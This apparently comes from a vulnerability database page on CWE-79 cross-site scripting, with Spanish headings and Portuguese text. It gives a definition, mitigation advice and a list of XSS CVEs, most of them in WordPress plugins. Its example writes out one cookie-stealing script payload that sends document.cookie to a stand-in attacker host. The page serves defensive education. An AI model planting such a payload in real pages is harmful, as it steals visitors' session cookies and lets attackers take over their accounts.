Fallos del tipo CWE-79

30.299 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-37429MEDIUMWordPress Login with phone number plugin <= 1.7.35 - Admin+ Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-31598MEDIUMWordPress Quantity Dynamic Pricing & Bulk Discounts for WooCommerce plugin <= 4.0.3 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-5583MEDIUMThe Plus Addons for Elementor – Elementor Addons, Page Templates, Widgets, Mega Menu, WooCommerce <= 5.6.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Testimonials Widget SettingsEPSS 0.3%CVE-2025-31592MEDIUMWordPress Send E-mail plugin <= 1.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-10310MEDIUMElement Pack Elementor Addons (Header Footer, Template Library, Dynamic Grid & Carousel, Remote Arrows) <= 5.10.1 - Authenticated (Contributor+) DOM-Based Stored Cross-Site Scripting via Custom Gallery WidgetEPSS 0.3%CVE-2024-4452MEDIUMElementsKit Pro <= 3.6.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-108920MEDIUMSourceCodester Drug Recommendation System Admin Record Tables user_record.php cross site scriptingEPSS 0.3%CVE-2026-120205HIGHThelia before 3.1.0 Stored XSS via Coupon Condition Customer NameEPSS 0.3%CVE-2024-9696MEDIUMRescue Shortcodes <= 2.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2024-4400MEDIUMPost and Page Builder by BoldGrid – Visual Drag and Drop Editor <= 1.26.4 - Authenticated (Contributer+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-89241MEDIUMWWBN AVideo Reflected XSS via confirmLivePassword.phpEPSS 0.3%CVE-2024-56260MEDIUMWordPress ShopElement plugin <= 2.0.0 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-5086MEDIUMEssential Addons for Elementor PRO – Best Elementor Templates, Widgets, Kits & WooCommerce Builders <= 5.8.14 - Authenticated (Contributor+) Stored Cross-Site Scripting via Team Member Carousel WidgetEPSS 0.3%CVE-2024-5818MEDIUMRoyal Elementor Addons and Templates <= 1.3.980 - Authenticated (Contributor+) DOM-Based Stored Cross-Site Scripting via Magazine Grid/Slider WidgetEPSS 0.3%CVE-2024-25637LOWReflected XSS via X-October-Request-Handler HeaderEPSS 0.3%CVE-2026-100877MEDIUMmathurvishal CloudClassroom-PHP-Project registrationform.php cross site scriptingEPSS 0.3%CVE-2025-1551MEDIUMIBM Operational Decision Manager cross-site scriptingEPSS 0.3%CVE-2024-9704MEDIUMSocial Sharing (by Danny) <= 1.3.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2026-89239MEDIUMWWBN AVideo Reflected XSS via Referer Header Comment BreakoutEPSS 0.3%CVE-2025-53493MEDIUMStored XSS in MintyDocsEPSS 0.3%